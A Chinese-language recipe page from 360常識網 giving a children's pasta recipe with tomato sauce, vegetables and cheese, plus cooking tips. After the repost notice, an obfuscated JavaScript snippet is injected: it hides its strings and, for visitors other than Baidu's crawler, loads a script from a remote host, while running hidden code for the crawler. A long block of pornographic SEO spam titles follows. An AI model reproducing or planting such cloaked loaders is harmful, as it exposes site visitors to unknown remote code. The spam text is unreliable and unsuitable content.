當前位置:首頁 > 飲食 > 食物營養 > 正文

童營養食譜介紹

2017-07-07 07:32:14  來源:360常識網   熱度:
導語:在食物的選擇上不能隨意進行,對中老年人、年輕人、兒童、青少年,食物的選擇都是很關鍵的,這些不同階段的人群,食物選擇都是不同,這樣對

在食物的選擇上不能隨意進行,對中老年人、年輕人、兒童、青少年,食物的選擇都是很關鍵的,這些不同階段的人群,食物選擇都是不同,這樣對身體營養補充才會有很好幫助,使得避免身體受到疾病損害,那童營養食譜都有什么呢,也是很多家長不太了解的,下面就詳細的介紹下。

童營養食譜:

兒童意面

主料:西紅柿1個,洋蔥碎1/4,胡蘿卜碎半根,蘑菇碎1個,熟排骨肉碎2塊,蒜碎1瓣,以上主料全部切碎。

西紅柿1個,洋蔥碎1/4,胡蘿卜碎半根,蘑菇碎1個

調味料:漢斯意面醬125g,番茄醬2匙,紅葡萄酒2匙,卡夫香腸式奶酪1根,糖半匙,MIX的香料半匙,橄欖油1匙。

做法

1、先煮字母意面約15分鐘左右,煮熟后用冷水沖一下;

2、鍋內放油,然后將切碎的排骨肉、蒜碎、半份洋蔥碎翻炒片刻;

3、倒入漢斯意面醬、胡蘿卜碎、蘑菇碎和剩余的洋蔥碎繼續翻炒;

倒入漢斯意面醬、胡蘿卜碎、蘑菇碎和剩余的洋蔥碎繼續翻炒

4、倒入紅葡萄酒。

5、適量鹽和糖。

6、小火將以上材料煮15分鐘;

7、最后將卡夫奶酪條放入融化后即可關火;

8、最好灑MIX的香料入味。

將做好的意面醬澆在煮好的意面上就可以食用了,這樣做出來的食物很美觀,營養價值也比較的高,很容易影響孩子的食欲。

小訣竅

1、為了節約時間,同時增加面醬的味道,所以加了從超市里買的意面醬,也可全部用新鮮的西紅柿,做純正的意面醬,這樣更加的營養,也更加的美味。

2、奶酪一定要最后放,稍微融化以后就可以關火了,紅色的醬中添加一點白色很漂亮,您會很有食欲的哦。

對童營養食譜了解后,家長在給孩子食物制作的時候,要合理的搭配食材,而且讓孩子多吃蔬菜、水果,對促進身體成長有很好幫助,同時對一些垃圾食品,都是要讓孩子減少選擇,這些食物不利于孩子成長,長期的吃也會損害到孩子身體健康。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产亚洲精品美女久久久久| 久久精品中文字幕无码绿巨人| 精品无码久久久久久久久水蜜桃| 亚洲精品一区二区三区四区乱码 | 精品国产丝袜自在线拍国| 久久久久久精品成人免费图片| 青青草国产精品久久久久| 岛国精品一区免费视频在线观看| 国产精品无码制服丝袜| 99久久免费精品高清特色大片| 99re这里只有精品热久久| 激情啪啪精品一区二区| 精品国产电影久久九九| 亚洲国产日韩综合久久精品| 亚洲国产综合精品中文字幕| 国产精品青青青高清在线观看| 最新国语自产精品视频在 | 四虎成人国产精品视频| 精品久久精品久久| 日韩精品视频免费网址| 亚洲国产精品ⅴa在线观看| 国产在线精品网址你懂的| 亚洲精品成人a在线观看| 日韩精品视频在线观看免费| 国产精品亚洲专区无码不卡| 国产精品一区电影| 国产在线观看精品一区二区三区91| 国产精品久久亚洲一区二区| 国产精品极品美女免费观看| 国产精品视_精品国产免费| 国产精品一卡二卡三卡| 精品人妻无码专区在中文字幕| 国产精品日本亚洲777| 一区二区精品久久| 久久精品亚洲福利| 久久精品亚洲综合| 99在线热视频只有精品免费| 精品久久久无码21p发布| 国产啪精品视频网免费| 国产精品美女久久久久浪潮AV| 色欲麻豆国产福利精品|